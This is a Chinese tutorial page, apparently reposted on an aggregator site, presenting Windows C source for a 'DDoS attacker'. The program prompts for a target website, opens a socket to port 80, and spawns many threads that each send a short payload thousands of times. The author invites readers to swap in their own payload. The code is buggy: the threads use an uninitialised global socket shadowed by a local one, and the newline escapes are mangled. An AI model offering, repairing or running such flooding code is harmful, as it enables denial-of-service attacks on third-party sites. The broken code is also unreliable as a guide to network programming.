栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > C/C++/C#

C语言实战--DDOS攻击器

C/C++/C# 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

C语言实战--DDOS攻击器

VS2013运行通过
版权由本人编写,禁止魔改用于商业用途

#include 
#include 						//网络编程
#include 
#pragma comment(lib , "ws2_32.lib")			

//DDOS攻击

DWORD WINAPI WorkProc(LPVOID lpParam);

SOCKET sockClient;

int main()
{
	//1.输入肉鸡官网链接

	char url[200];			//存储肉鸡官网链接
	printf("请输入肉鸡官网链接:n");
	scanf("%s", url);

	//2.设置攻击次数
	int n;
	printf("请输入攻击次数:n");
	scanf("%d", &n);

	//3.初始化网络
	WSADATA wd;
	if (0 != WSAStartup(MAKEWORD(2, 2), &wd))
	{
		printf("初始化网络失败.n");
		return 0;
	}

	//4.判断是否加载的是我请求的版本
	if (LOBYTE(wd.wVersion) != 2 || HIBYTE(wd.wVersion) !=2 )
	{
		printf("请求的版本与实际加载的版本不一致.n");
		return 0;
	}

	//5.创建套接字
	SOCKET sockClient = socket(AF_INET, SOCK_STREAM, 0);
	if (sockClient == INVALID_SOCKET)
	{
		printf("创建套接字失败.n");
		return 0;
	}

	//www.dunkaiedu.com

	//6.将域名解析成IP地址
	hostent* host = gethostbyname(url);
	if (host == NULL)
	{
		printf("域名解析失败.n");
		return 0;
	}

	//7.连接服务器
	sockaddr_in sa;
	sa.sin_family = AF_INET;
	sa.sin_port = htons(80);
	memcpy(&sa.sin_addr, host->h_addr, 4);

	if (SOCKET_ERROR == connect(sockClient, (sockaddr*)&sa, sizeof(sockaddr)))
	{
		printf("连接网站失败.n");
	}

	//8.测试,通讯
	//HTTP协议
	//char sendBuf[250] = {0};
	//sprintf(sendBuf, "Hellornrn");
	//char recvBuf[512] = {0};
	//发送
	//send(sockClient, sendBuf, strlen(sendBuf), 0);
	//接受
	//char ch='';
	//std::string str;
	//while (recv(sockClient, &ch, sizeof(ch), 0))
	//{
	//	str = str + ch;
	//}

	//9.DDOS攻击
	char sendBuf[250] = "Hellornrn";//发包内容自行更改,rn不能删代表发送完毕否则会一直等待
	int i = 0;
	while (i < n)
	{
		CreateThread(NULL, 0, WorkProc, 0, 0, NULL);
		i++;
	}

	//HTTP协议
	
	
	system("pause");
	
	//printf("%sn", str.c_str());

	return 0;
}

DWORD WINAPI WorkProc(LPVOID lpParam)
{
	int i = 0;
	while (i < 5000)
	{
		printf("攻击了:%d次n", i);
		char sendBuf[250] = "Hello";
		send(sockClient, sendBuf, strlen(sendBuf), 0);
		i++;
	}

	return 0;
}
转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/298442.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号